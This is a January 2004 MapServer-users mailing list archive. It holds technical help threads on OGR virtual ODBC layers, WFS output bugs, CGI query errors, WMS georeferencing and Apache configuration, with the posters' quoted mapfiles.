>>Envoy? : Tuesday, January 13, 2004 5:00 PM
>>? : Julien, Heryk
>>Cc : 'Paul Spencer '; 'Mapserver-users at lists.gis.umn.edu'
>>Objet : Re: TR: [Mapserver-users] MySQL and Mapserver
>>
>>
>>Maybe you missed it?
>>
>>
> 
> http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00111.html
> 
>>Cheers,
>>
>>Paul
>>
>>Julien, Heryk wrote:
>>
>>
>>
>>>Hi Paul,
>>>Could you send me or post information on the "new format in 
>>>OGR to set up a virtual layer that can draw columns from any ODBC data 
>>>source and map two of the columns to x and y locations"?
>>>
>>>Thanks
>>>H?ryk
>>>
>>>-----Message d'origine-----
>>>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>>Envoy? : Monday, January 05, 2004 9:23 AM
>>>? : 'spencer at dmsolutions.ca'
>>>Cc : 'Mapserver-users at lists.gis.umn.edu'
>>>Objet : RE: [Mapserver-users] MySQL and Mapserver
>>>
>>>
>>>Hi,
>>>I am also very interseted in that fonction. I would like to be able to map
>>>well positions from a database x and y colums. Would this permit me to
>>
>>have
>>
>>
>>>an up to date point geometry layer which reflects the changes in my well
>>>database? Can you send me more details?
>>>
>>>Thanks
>>>
>>>H?ryk
>>>NRCan
>>>
>>>-----Message d'origine-----
>>>De : Paul Spencer [mailto:pagameba at magma.ca]
>>>Envoy? : Saturday, January 03, 2004 4:28 PM
>>>? : bartvde at xs4all.nl
>>>Cc : mapserver-users at lists.gis.umn.edu
>>>Objet : Re: [Mapserver-users] MySQL and Mapserver
>>>
>>>
>>>Bart,
>>>
>>>if you are interested in point geometries only, there is a new format in 
>>>OGR to set up a virtual layer that can draw columns from any ODBC data 
>>>source and map two of the columns to x and y locations.  We've used it 
>>>for a couple of clients and it works very nicely.  If you are interested 
>>>I can send you more details.
>>>
>>>Cheers,
>>>
>>>Paul
>>>
>>>Bart van den Eijnden wrote:
>>>
>>>
>>>
>>>
>>>>Hi list,
>>>>
>>>>I see in the history log that there has been some work done recently 
>>>>(early December) by Attila on supporting MySQL 4.X for the MyGIS 
>>>>connector. Can it be used already?
>>>>
>>>>Also, is it possible to keep the geometries in shapefiles and use 
>>>>Mapserver JOINS to link to tables in MySQL?
>>>>
>>>>Thanks in advance for the info.
>>>>
>>>>Best regards,
>>>>Bart
>>>>_______________________________________________
>>>>Mapserver-users mailing list
>>>>Mapserver-users at lists.gis.umn.edu
>>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>>
>>>
>>>
> 

-- 
  -----------------------------------------------------------------
|Paul Spencer                           spencer at dmsolutions.ca    |
|-----------------------------------------------------------------|
|Applications & Software Development                              |
|DM Solutions Group Inc                 http://www.dmsolutions.ca/|
  -----------------------------------------------------------------



From hjulien at nrcan.gc.ca  Thu Jan 22 07:24:17 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Thu, 22 Jan 2004 10:24:17 -0500
Subject: [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
Message-ID: <06B403677C41D51194550002A55107D201F78FF1@s5-stf1-r1.nrn.nrcan.gc.ca>

Hi to all,

I replaced my version of Mapserver with a precompiled one. I also installed
the latest  version of gdal11.dll and ogrinfo from the OpenEV_FW zip.

As suggested by Frank Warmerdam I used the following SrcDataSource tag in
the virtual file:
ODBC:MGWI_MAPSERVER. MGWI_MAPSERVER is the
DSN for my ODBC data source.

Here is the orginfo output:

D:\WebScripts\MapServer>ogrinfo --formats
Loaded OGR Format Drivers:
  -> "ESRI Shapefile" (read/write)
  -> "UK .NTF" (readonly)
  -> "SDTS" (readonly)
  -> "TIGER" (read/write)
  -> "S57" (read/write)
  -> "MapInfo File" (read/write)
  -> "DGN" (read/write)
  -> "VRT" (readonly)
  -> "AVCBin" (readonly)
  -> "REC" (readonly)
  -> "Memory" (read/write)
  -> "GML" (read/write)
  -> "ODBC" (read/write)
  -> "OGDI" (readonly)
  -> "FMEObjects Gateway" (readonly)

D:\WebScripts\MapServer>ogrinfo
D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf
ERROR 4: Update access not supported for VRT datasources.
Had to open data source read-only.
INFO: Open of
`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
using driver `VRT' successful.
1: MGWI_TBLLOC (Point)

When I execute Mapserver I got the following message:
msDrawMap(): Image handling error. Failed to draw layer named 'MGWI_TBLLOC'.

msOGRFileOpen(): OGR error. Open failed for OGR connection `mgwi.ovf'. File
not found or unsupported format. 



Thanks for the help

H?ryk



-----Message d'origine-----
De : Normand Savard [mailto:nsavard at dmsolutions.ca]
Envoy? : Wednesday, January 21, 2004 5:26 PM
? : Julien, Heryk
Cc : 'spencer at dmsolutions.ca'; 'Mapserver-users at lists.gis.umn.edu';
Anctil, Martin
Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
Connectiontype)


Julien,

Just because I do not know all the steps you have done, can you tell me 
if you were able to have some output form "ogrinfo" command?

Norm

Julien, Heryk wrote:

>Hi Paul,
>What do I write in the virtual file SrcDataSource tag when I log on a
Access
>db with no user restrictions and pass word?
>I've tried the following combinations without success:
>
>ODBC:MGWI_MAPSERVER
>ODBC:@MGWI_MAPSERVER
>ODBC:/@MGWI_MAPSERVER
>ODBC:administor/@MGWI_MAPSERVER 
>ODBC:administeur/@MGWI_MAPSERVER
>
>Thanks
>H?ryk
>
>
>-----Message d'origine-----
>De : Paul Spencer [mailto:pagameba at magma.ca]
>Envoy? : Wednesday, January 21, 2004 1:43 PM
>? : Julien, Heryk
>Cc : 'spencer at dmsolutions.ca'; 'Mapserver-users at lists.gis.umn.edu';
>Anctil, Martin
>Objet : [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
>
>
>I believe there is a limitation in the OGR OBDC connection that requires 
>that you provide a user name and password in the OVF file (I think that 
>is mentioned in the wiki also).
>
>Cheers,
>
>Paul
>
>Julien, Heryk wrote:
>  
>
>>Hi,
>>I'm trying out the Virtual Spatial Data procedure in MapServerWiki
>>(http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData) with IIS
>>and an Access 2000 ODBC connection.
>>
>>I keep on getting the following error message when I attempt ton see my
>>    
>>
>map:
>  
>
>>msDrawMap(): Image handling error. Failed to draw layer named
>>    
>>
>'MGWI_TBLLOC'.
>  
>
>>msOGRFileOpen(): OGR error. Open failed for OGR connection `mgwi.ovf'.
>>    
>>
>File
>  
>
>>not found or unsupported format.
>>
>>Anyone can help me?
>>
>>
>>
>>Here is my virtual file (mgw.ovf):
>>
>>
>>    
>>        ODBC:MGWI_MAPSERVER 
>> 	tblloc 
>>	wkbPoint
>>	         
>>	 
>>    
>>
>>
>>
>>
>>
>>My virtual layer is in the same directory as my shapefiles:
>>
>>SHAPEPATH "d:\webcgcq\lcnp\mapserver_demo\maritimes\data\shp\geo83"
>>
>>
>>
>>
>>Here is the section of my mapfile where I call my virtual layer:
>>
>>LAYER
>>	NAME "MGWI_TBLLOC"
>>	TYPE POINT
>>	CONNECTIONTYPE OGR
>>	CONNECTION "mgwi.ovf"
>>	DATA "MGWI_TBLLOC"
>>	STATUS DEFAULT
>>	LABELITEM "LOCID"
>>	PROJECTION
>>		"init=epsg:26920"
>>	END #projection
>>	CLASS
>>		SYMBOL 'circle'
>>		SIZE 8
>>		LABEL
>>			COLOR 132 31 31
>>			SHADOWCOLOR 218 218 218
>>			SHADOWSIZE 2 2
>>			TYPE TRUETYPE
>>			FONT arial-bold
>>			FORCE true
>>			SIZE 10
>>			POSITION auto
>>			PARTIALS FALSE
>>			MINDISTANCE 0
>>			BUFFER 2
>>		END # end of label
>>	    TEMPLATE
>>"d:\webcgcq\lcnp\mapserver_demo\maritimes\templates\field_capt_query.html"
>>	END # CLASS
>>END # LAYER
>>
>>
>>
>>
>>
>>
>>==========================================
>>H?ryk
>>NRCan
>>
>>-----Message d'origine-----
>>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>Envoy? : Wednesday, January 14, 2004 8:44 AM
>>? : 'spencer at dmsolutions.ca'
>>Cc : 'Mapserver-users at lists.gis.umn.edu'
>>Objet : RE: TR: [Mapserver-users] MySQL and Mapserver
>>
>>
>>Thanks
>>
>>H?ryk
>>
>>-----Message d'origine-----
>>De : Paul Spencer [mailto:pagameba at magma.ca]
>>Envoy? : Tuesday, January 13, 2004 5:00 PM
>>? : Julien, Heryk
>>Cc : 'Paul Spencer '; 'Mapserver-users at lists.gis.umn.edu'
>>Objet : Re: TR: [Mapserver-users] MySQL and Mapserver
>>
>>
>>Maybe you missed it?
>>
>>
>>    
>>
>http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00111.html
>  
>
>>Cheers,
>>
>>Paul
>>
>>Julien, Heryk wrote:
>>
>>
>>    
>>
>>>Hi Paul,
>>>Could you send me or post information on the "new format in 
>>>OGR to set up a virtual layer that can draw columns from any ODBC data 
>>>source and map two of the columns to x and y locations"?
>>>
>>>Thanks
>>>H?ryk
>>>
>>>-----Message d'origine-----
>>>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>>Envoy? : Monday, January 05, 2004 9:23 AM
>>>? : 'spencer at dmsolutions.ca'
>>>Cc : 'Mapserver-users at lists.gis.umn.edu'
>>>Objet : RE: [Mapserver-users] MySQL and Mapserver
>>>
>>>
>>>Hi,
>>>I am also very interseted in that fonction. I would like to be able to
map
>>>well positions from a database x and y colums. Would this permit me to
>>>      
>>>
>>have
>>
>>    
>>
>>>an up to date point geometry layer which reflects the changes in my well
>>>database? Can you send me more details?
>>>
>>>Thanks
>>>
>>>H?ryk
>>>NRCan
>>>
>>>-----Message d'origine-----
>>>De : Paul Spencer [mailto:pagameba at magma.ca]
>>>Envoy? : Saturday, January 03, 2004 4:28 PM
>>>? : bartvde at xs4all.nl
>>>Cc : mapserver-users at lists.gis.umn.edu
>>>Objet : Re: [Mapserver-users] MySQL and Mapserver
>>>
>>>
>>>Bart,
>>>
>>>if you are interested in point geometries only, there is a new format in 
>>>OGR to set up a virtual layer that can draw columns from any ODBC data 
>>>source and map two of the columns to x and y locations.  We've used it 
>>>for a couple of clients and it works very nicely.  If you are interested 
>>>I can send you more details.
>>>
>>>Cheers,
>>>
>>>Paul
>>>
>>>Bart van den Eijnden wrote:
>>>
>>>
>>>
>>>      
>>>
>>>>Hi list,
>>>>
>>>>I see in the history log that there has been some work done recently 
>>>>(early December) by Attila on supporting MySQL 4.X for the MyGIS 
>>>>connector. Can it be used already?
>>>>
>>>>Also, is it possible to keep the geometries in shapefiles and use 
>>>>Mapserver JOINS to link to tables in MySQL?
>>>>
>>>>Thanks in advance for the info.
>>>>
>>>>Best regards,
>>>>Bart
>>>>_______________________________________________
>>>>Mapserver-users mailing list
>>>>Mapserver-users at lists.gis.umn.edu
>>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>>
>>>>        
>>>>
>>>      
>>>
>
>  
>


_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From assefa at dmsolutions.ca  Thu Jan 22 07:44:08 2004
From: assefa at dmsolutions.ca (Yewondwossen Assefa)
Date: Thu, 22 Jan 2004 10:44:08 -0500
Subject: [Mapserver-users] wfs and mapserver4.0.1
In-Reply-To: 
References: 
Message-ID: <400FEFC8.70600@dmsolutions.ca>

Debbie,

  I can't seem to reproduce this with my test files using 4.0.1. Is it 
possible to send me your map file to see if I can reproduce it? If it 
happens with all shapefiles, I am assuming data is not the problem and 
might be some setting in the map file.

Later,


Debbie Pagurek wrote:
> Hi all,
> is there a bug in wfs in mapserver4.0.1 -
> I keep getting an error for my request:
> http://latlong24.gis.agr.gc.ca/cgi-bin/mapserv-4.0.1-new?map=/usr/www/httpd/htdocs/mapdata/debtest/wfscanada.map&version=1.0.0&service=wfs&request=GetFeature&TypeName=canada&Propertyname=NAME 
> 
>  
> 
> The XML page cannot be displayed
> 
> Cannot view XML input using XSL style sheet. Please correct the error 
> and then click the Refresh  button, or try 
> again later.
> 
> ------------------------------------------------------------------------
> 
> A name was started with an invalid character. Error processing resource 
> 'http://latlong24.gis.agr.gc.ca/cgi-bin/mapserv-4.0.1-new?map=/usr/www/httpd/htdocs/mapdata/debtest/wfscanada.map&version=1.0.0&service=wfs&request=GetFeature&TypeName=canada&Propertyname=NAME'. 
> Line 24, Position 10
> 
>         <>
> 
> and when I do a view source, what i see is that an extra empty tag <> 
> that occurs after all of the fields have been listed.  e.g. that part of 
> the gml output:
> 
> 
>       
>         585860.072
>         CA10
>         Quebec
>         6895963
>         13.163780
>         <>
> 
> this happens for whatever shapefile I am using.
> 
> Also, I did try using the latest dev version 4.1 (the windows binary that 
> Assefa made available a little while ago, and this problem goes away.
> 
> Just wondering if I'm creating an incorrect request or if this is a 
> known bug.  Also trying to figure out which version of mapserver to 
> install on our servers.
>  
> Thanks,
> D. Pagurek


-- 
----------------------------------------------------------------
Assefa Yewondwossen
Software Analyst

Email: assefa at dmsolutions.ca
http://www.dmsolutions.ca/

Phone: (613) 565-5056 (ext 14)
Fax:   (613) 565-0925
----------------------------------------------------------------





From eduardo at consultoria.eti.br  Thu Jan 22 07:49:51 2004
From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae)
Date: Thu, 22 Jan 2004 13:49:51 -0200
Subject: [Mapserver-users] Strange behavior on query mode (CGI)
Message-ID: <20040122154951.30524.qmail@hm47.locaweb.com.br>

today I built a very simple Mapserver CGI application 
and when I select the query mode and click an object, I only got "Internal Server Error" 
and the apache log only says "Premature end of script headers".

so I removed the HEADER and FOOTER parameters of the WEB object in the mapfile, transfered the content
of the header file to the layer_header file and the content of the footer file to the layer_footer file,

and then tried again.... so, it finally works!

what is the problem here?


Eduardo Patto Kanegae
+Homepage:http://www.consultoria.eti.br   ( BRASIL )
+Perfil:http://www.consultoria.eti.br/ptbr/epk.php
*F?rum ptMapServer - http://www.consultoria.eti.br/mapserverptforum/ - "Discuss?es relacionadas ao MapServer"
*ClickBrasil - http://www.consultoria.eti.br/clickbrasil/  - "Mapas do Brasil com dados censit?rios"
***************************************
***Fim da Mensagem / End of Message ***
***************************************






From eric.sokolowsky at gsfc.nasa.gov  Thu Jan 22 07:58:13 2004
From: eric.sokolowsky at gsfc.nasa.gov (Eric Sokolowsky)
Date: Thu, 22 Jan 2004 10:58:13 -0500 (EST)
Subject: [Mapserver-users] WMS metadata and .wld files
Message-ID: 

I have been able to compile and run mapserv as a WMS server for images.
It was necessary to include .wld files for each of the layers that I
serve.  But is it supported to get the geo-referencing metadata from the
wms_extent field instead of the external .wld file?  My guess is that it
is not.  Is somebody adding this ability?  If not, then I would like
to add it and submit the changes back to the mapserver maintainers for
everybody's use.

I am using mapserver 4.0.1 on Red Hat Linux 9.

-- 
    ____   __     Eric Sokolowsky    (GST)  NASA Goddard Space Flight Center 
   / __/__/_/__  Visualization Programmer    Scientific Visualization Studio
  / __/ _/ / _/ 301.286.3751                  Mailstop 935.0 Bldg 28 Rm E102
 /___/_//_/__/ eric.sokolowsky at gsfc.nasa.gov   Greenbelt, MD 20771



From TMitchell at lignum.com  Thu Jan 22 08:18:32 2004
From: TMitchell at lignum.com (Tyler Mitchell)
Date: Thu, 22 Jan 2004 08:18:32 -0800
Subject: [Mapserver-users] (newbie): Win32 Apache error when calling Mapserv.exe
In-Reply-To: <000001c3e0ab$57785840$566b110a@cydn.net.au>
Message-ID: 





Is Apache properly configure to execute files in
c:/phpdev/www/cgi-bin/mapserv.exe ?
It looks like it is not trying to execute the file, but trying to display
the contents.  You may want to first try putting mapserv.exe in c:\program
files\apache group\apache\cgi-bin and try it there instead, since the
permissions and execution flags are already set in httpd.conf.  Hmm...but
you must have change the Alias.  Show us the parts of httpd.conf that you
changed.

mapserver-users-admin at lists.gis.umn.edu wrote on 01/21/2004 09:48:20 PM:

> Hi all,
>
> I'm just getting started with Mapserver (well, not even that!) - I have
> Apache 1.3.27 running on Windows2000 and am trying to run the Mapserver
4.0
> demo application.
>
> I try to test the MapServer application according to the tutorial
> instructions, with the URL
> http://localhost/cgi-bin/mapserv.exe?
> And Apache returns the following error 500:
> [error] Unrecognized character \x90 at c:/phpdev/www/cgi-bin/mapserv.exe
> line 1.
>
> Can anyone give a suggestion what might be wrong?
>
> TIA
>
> Yuri Banens
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From TMitchell at lignum.com  Thu Jan 22 08:31:29 2004
From: TMitchell at lignum.com (Tyler Mitchell)
Date: Thu, 22 Jan 2004 08:31:29 -0800
Subject: [Mapserver-users] simple mapserver configuration
In-Reply-To: 
Message-ID: 





> MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP
> SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER INPUT=GDAL
INPUT=SHAPEFILE
>
> But it still only generates a blank image.
>
> Here is my map file now:
>
>
> # Start of wms.map file
>
> MAP
>   NAME SVS
>   EXTENT -180 -90 180 90
>   STATUS ON
>
>   PROJECTION
>     "init=epsg:4326"
>   END
>
>   WEB
>     METADATA
>       "wms_abstract" "Provided by the Scientific Visualization Studio."
>       "wms_accessconstraints" "none"
>       "wms_fees" "none"
>       "wms_onlineresource"
"http://svsdev.gsfc.nasa.gov/esok/cgi-bin/map?"
>       "wms_title" "NASA GSFC SVS Animation Catalog"
>     END
>   END
>
>   OUTPUTFORMAT
>     NAME png
>     DRIVER "GD/PNG"
>     MIMETYPE "image/png"
>     IMAGEMODE RGB
>     EXTENSION "png"
>   END
>
>   LAYER
>     NAME "EARTH_PNG"
>     TYPE RASTER
>     STATUS ON
>     DATA "earth.png"
>     METADATA
>       "wms_title" "Earth png"
>       "wms_extent" "-110 -20 -70 20"
>     END
>   END
>
> END

I'd change your MAP EXTENT to match your EARTH_PNG layer extent and test it
like that first before pulling back.
I was going to ask about your earth.png being georeferenced or not, but I
see you are using the wms_extent setting - I've never seen that before.  I
assume it works properly, otherwise why not try a different image format.
I also wonder if this is just an issue for your raster layer.  Since all
your raster layer inputs are going through GDAL, why not try to get basic
shape files working first since your mapserv supports it directly.

Anyway, just some ideas.



From giorgio.plazzotta at sarasricerche.it  Thu Jan 22 08:53:27 2004
From: giorgio.plazzotta at sarasricerche.it (Giorgio Plazzotta)
Date: Thu, 22 Jan 2004 17:53:27 +0100
Subject: [Mapserver-users] tip request
Message-ID: <00ac01c3e108$4486d1a0$f832a8c0@GIS05>

This is a multi-part message in MIME format.

------=_NextPart_000_00A9_01C3E110.A3446240
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset="iso-8859-1"

Hi all,
in my application i am not using the legend tool provided with mapserver =
and  i am managing it client side with dhtml and javascript. There is a =
problem caused by the HTTP protocol characteristics that i would like to =
solve. It happens when i have a project with many classes in the legend =
(example 300 classes). Each classes need a small raster file to describe =
how the class is rendered. If the files, though small, are many, the =
hppt protocol require that a connection between the client and the =
server is established everytime so even if the  amount of data to =
transfer is not huge, the time to transfer the hundreds files is not =
acceptable. I think that there can be several different ways to solve it =
but don't know if they will work and which is the best. For example i =
should try to pass only one file containing all the legend symbols but =
then i need a good way to show only a portion of it inside the client =
code. I could also load the files only when they are needed so =
posticipating and segmenting the load. I don't want to use client =
technologie that are not already embedded in the default browser =
(explorer) so no plug in, activex and so on. Probably some of you have a =
good tip about it. thanx in advance

Giorgio Plazzotta
Saras Ricerche=20
Assemini (CA) - Italy
 
------=_NextPart_000_00A9_01C3E110.A3446240
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html;
	charset="iso-8859-1"









Hi all,


in my application i am not =
using the=20
legend tool provided with mapserver and  i am managing it client =
side with=20
dhtml and javascript. There is a problem caused by the HTTP protocol=20
characteristics that i would like to solve. It happens when i have a =
project=20
with many classes in the legend (example 300 classes). Each classes need =
a small=20
raster file to describe how the class is rendered. If the files, though =
small,=20
are many, the hppt protocol require that a connection between the client =
and the=20
server is established everytime so even if the  amount of data to =
transfer=20
is not huge, the time to transfer the hundreds files is not acceptable. =
I think=20
that there can be several different ways to solve it but don't know if =
they will=20
work and which is the best. For example i should try to pass only one =
file=20
containing all the legend symbols but then i need a good way to show =
only a=20
portion of it inside the client code. I could also load the files only =
when they=20
are needed so posticipating and segmenting the load. I don't want to use =
client=20
technologie that are not already embedded in the default browser =
(explorer) so=20
no plug in, activex and so on. Probably some of you have a good tip =
about it.=20
thanx in advance


 


Giorgio Plazzotta


Saras Ricerche 


Assemini (CA) - Italy


 


------=_NextPart_000_00A9_01C3E110.A3446240--




From eduardo at consultoria.eti.br  Thu Jan 22 08:41:44 2004
From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae)
Date: Thu, 22 Jan 2004 14:41:44 -0200
Subject: [Mapserver-users] Strange behavior on query mode (CGI)
In-Reply-To: 
References: 
Message-ID: <20040122164144.31288.qmail@hm47.locaweb.com.br>

I'm sorry... 

it's MapServer 4.0.1 for Linux ( on a Suse 9 box) configured with:

$ ./configure --prefix=/usr/local --host --with-jpeg=/usr/local/bin --with-freetype=/usr/include/freetype2 --with-zlib=/usr --with-png=/usr --with-gd=/usr --with-xpm=/usr/X11R6/lib --with-pdf=/usr/local/mapserver-linux-distro/deps/PDFlib-5.0.2-Linux/bind/c --with-tiff=/usr/local --with-eppl --with-proj=/usr/local --with-threads --with-ogr --with-gdal --without-ming --with-wfs --with-wfsclient --with-wms --with-wmsclient --with-curl-config=/usr/local/bin  --with-curl=/usr/local/lib --enable-ignore-missing-data --disable-debug --with-php=/usr/local/mapserver-linux-distro/deps/php-4.3.4 

when run $ mapserv -v , I got:
MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE

----- the mapfile --------
MAP
    NAME "loteamento_002" # VARIAVEL
    EXTENT  2382.569 366.011 2958.370 917.756 # VARIAVEL
    FONTSET "/servidor/raiz_apache/ferramentas/loteamentos/fontset.txt"
    SYMBOLSET "/servidor/raiz_apache/ferramentas/loteamentos/symbolset.sym"
    IMAGECOLOR  255 255 255 
    IMAGETYPE    PNG # tipo das imagens a serem geradas
    INTERLACE    ON
    SHAPEPATH    "/servidor/raiz_apache/ferramentas/loteamentos/loteamento_002"# VARIAVEL
    SIZE 600 400
    STATUS ON
    UNITS METERS
    
    QUERYMAP
        COLOR 255 255 0 #color of the hilited itens in querymap
        SIZE 300 200 #size of the querymap
        STATUS ON
        STYLE HILITE #style of the selected itens on the query
    END
    
    WEB
        #EMPTY "/ferramentas/loteamentos/web_empty.html"
        #ERROR "/ferramentas/loteamentos/web_error.html"
        #HEADER "/servidor/raiz_apache/ferramentas/loteamentos/web_header.html"
        #FOOTER "/servidor/raiz_apache/ferramentas/loteamentos/web_footer.html"
        IMAGEPATH     "/servidor/raiz_apache/tmp/"
        IMAGEURL    "/tmp/"
        LOG     "/servidor/raiz_apache/tmp/loteamento_002.log" # VARIAVEL
        MINSCALE 100   
        MAXSCALE 10000
        TEMPLATE "/servidor/raiz_apache/ferramentas/loteamentos/web_template.html"
    END
    
    SCALEBAR # inicia a defini??o do objeto ScaleBar ( Barra de Escala)
        COLOR          0 0 0 # cor da barra de escala
        IMAGECOLOR    255 255 255 #cor de fundo da imagem da barra de escala
        INTERVALS      3 #n?mero de segmentos que a barra de escala ter?
        LABEL # inicia a defini??o de objeto Label . AVISO: o objeto ScaleBar aceita apenas labels do tipo BITMAP
            COLOR        0 0 0 # cor do texto
            SIZE        SMALL # tamanho do texto
        END # finaliza MAP_SCALEBAR_LABEL
        OUTLINECOLOR  0 0 0 # cor de cortorno da barra de escala
        SIZE          300 3 # larguraXaltura da barra de escala
        STATUS        ON # define se a imagem tempor?ria da Barra de escala dever? ser criada
        STYLE          0 # estilo da barra de escala : 0 = bar style | 1 = line style
        UNITS          METERS #unidade dos valores da barra de escala
    END # finaliza MAP_SCALEBAR
    
    LEGEND # inicia a defini??o do objeto LEGEND
        IMAGECOLOR    255 255 255 #cor de fundo da imagem da legenda
        LABEL # inicia a defini??o de objeto LABEL
            ANTIALIAS    TRUE # usar antialias? fica melhor, e consequentemente um pouco maior(o tamanho em bytes da imagem) q textos sem antialias
            COLOR        0 0 0 #cor do texto
        #    FONT        "arial" # nome da fonte( previamente definida no fontset)
            SIZE        SMALL #8 # tamanho do texto
            TYPE        BITMAP #TRUETYPE # tipo do texto
        END
        KEYSIZE        15 12 # tamanho dos simbolos da legenda ( larguraXaltura )
        STATUS        ON # define se a imagem temporaria da legenda deve ser criada
    END # finaliza MAP_LEGEND

    LAYER
        NAME    "layLoteamento"
        TYPE    POLYGON
        DATA    "loteamento"
        STATUS  DEFAULT
        CLASS
            NAME    "Divisa loteamento"
            OUTLINECOLOR 128 128 128 
            COLOR        -1 -1 -1
        END
    END
    
    LAYER
        NAME    "layQuadra"
        TYPE    POLYGON
        DATA    "quadra"
        STATUS  OFF
        CLASS
            NAME    "Quadras"
            OUTLINECOLOR 32 32 32
            COLOR        255 247 145
        END
    END
    
    LAYER
        NAME    "layLote"
        TYPE    POLYGON
        DATA    "lotes"
        STATUS  OFF
        CLASSITEM "STATUS"
        HEADER "/servidor/raiz_apache/ferramentas/loteamentos/lote_header.htm"
	    TEMPLATE "/servidor/raiz_apache/ferramentas/loteamentos/lote_template.htm"
        FOOTER "/servidor/raiz_apache/ferramentas/loteamentos/lote_footer.htm"
        CLASS
            EXPRESSION "V"
            NAME    "Vendido"
            OUTLINECOLOR 64 64 64
            COLOR        255 170 170
        END
        CLASS
            EXPRESSION "R"
            NAME    "Reservado"
            OUTLINECOLOR 64 64 64
            COLOR        255 168 125
        END
        CLASS
            EXPRESSION "L"
            NAME    "Livre"
            OUTLINECOLOR 64 64 64
            COLOR        170 255 170
        END
    END
    
    LAYER
        NAME    "layLote"
        TYPE    ANNOTATION
        DATA    "lotes"
        STATUS  OFF
        CLASSITEM "STATUS"
        LABELMAXSCALE 2000
        SYMBOLSCALE 500
        CLASS
            EXPRESSION "V"
            OUTLINECOLOR -1 -1 -1
            COLOR        -1 -1 -1
            TEXT "Vendido"
            LABEL
                ANGLE 60
                ANTIALIAS TRUE
                TYPE TRUETYPE
                SIZE 20
                FONT "arial"
                COLOR 0 0 0 
                OUTLINECOLOR 255 32 32
                FORCE TRUE
                POSITION CC
                PARTIALS TRUE
                MAXSIZE 32
                MINSIZE 8
            END
        END
        CLASS
            EXPRESSION "R"
            OUTLINECOLOR -1 -1 -1
            COLOR        -1 -1 -1
            TEXT "Reservado"
            LABEL
                BACKGROUNDCOLOR 255 255 0
                BACKGROUNDSHADOWCOLOR 192 192 192
                BACKGROUNDSHADOWSIZE 2 3
                ANGLE -20
                ANTIALIAS TRUE
                TYPE TRUETYPE
                SIZE 12
                FONT "arial"
                COLOR 0 0 0 
                FORCE TRUE
                POSITION CC
                PARTIALS TRUE
                MAXSIZE 28
                MINSIZE 8
            END
        END
        CLASS
            EXPRESSION "L"
            OUTLINECOLOR -1 -1 -1
            COLOR        -1 -1 -1
            TEXT "Livre"
            LABEL
                ANGLE 0
                ANTIALIAS TRUE
                TYPE TRUETYPE
                SIZE 10
                FONT "arial"
                COLOR 0 0 0 
                FORCE TRUE
                SHADOWCOLOR 64 128 255
                SHADOWSIZE 1 1
                POSITION CC
                PARTIALS TRUE
                MAXSIZE 24
                MINSIZE 8
            END
        END
    END
    
    LAYER
        NAME    "layRede"
        TYPE    LINE
        DATA    "rede"
        STATUS  OFF
        CLASSITEM   "TIPO"
        CLASS
            EXPRESSION  "Esgoto"
            NAME    "Esgoto" 
            COLOR        137 112 68
            SYMBOL "BOLA"
            SIZE 4
        END
        CLASS
            EXPRESSION  "Galeria"
            NAME    "Galeria" 
            COLOR        10 255 50
            SYMBOL "BOLA"
            SIZE 3
        END
        CLASS
            EXPRESSION  "Agua"
            NAME    "Agua" 
            COLOR        0 0 255
            SYMBOL "BOLA"
            SIZE 2
        END
    END
    
    LAYER
        NAME    "layCober"
        TYPE    POLYGON
        DATA    "cobertura"
        STATUS  OFF
        CLASSITEM "TIPO"
        CLASS
            EXPRESSION "Institucional"
            NAME    "Institucional"
            COLOR        110 110 110
        END
        CLASS
            EXPRESSION "?rea verde"
            NAME    "?rea verde"
            COLOR        38 115 0
            SYMBOL "ARVORE"
			SIZE 5
        END
    END
    
    LAYER
        NAME    "layLagos"
        TYPE    POLYGON
        DATA    "lagos"
        STATUS  OFF
        CLASS
            NAME    "Lagos"
            COLOR        151 219 242
        END
    END
    
END
-----------------


Eduardo Patto Kanegae
+Homepage:http://www.consultoria.eti.br   ( BRASIL )
+Perfil:http://www.consultoria.eti.br/ptbr/epk.php
*F?rum ptMapServer - http://www.consultoria.eti.br/mapserverptforum/ - "Discuss?es relacionadas ao MapServer"
*ClickBrasil - http://www.consultoria.eti.br/clickbrasil/  - "Mapas do Brasil com dados censit?rios"
***************************************
***Fim da Mensagem / End of Message ***
***************************************





On Thu, 22 Jan 2004 10:15:32 -0600, "Steve Lime"  escreveu:

> De: "Steve Lime" 
> Data: Thu, 22 Jan 2004 10:15:32 -0600
> Para: 
> Assunto: Re: [Mapserver-users] Strange behavior on query mode (CGI)
> 
> What version? Got a sample mapfile?
> 
> >>> "Eduardo Patto Kanegae"  1/22/2004 9:49:51 AM >>>
> today I built a very simple Mapserver CGI application 
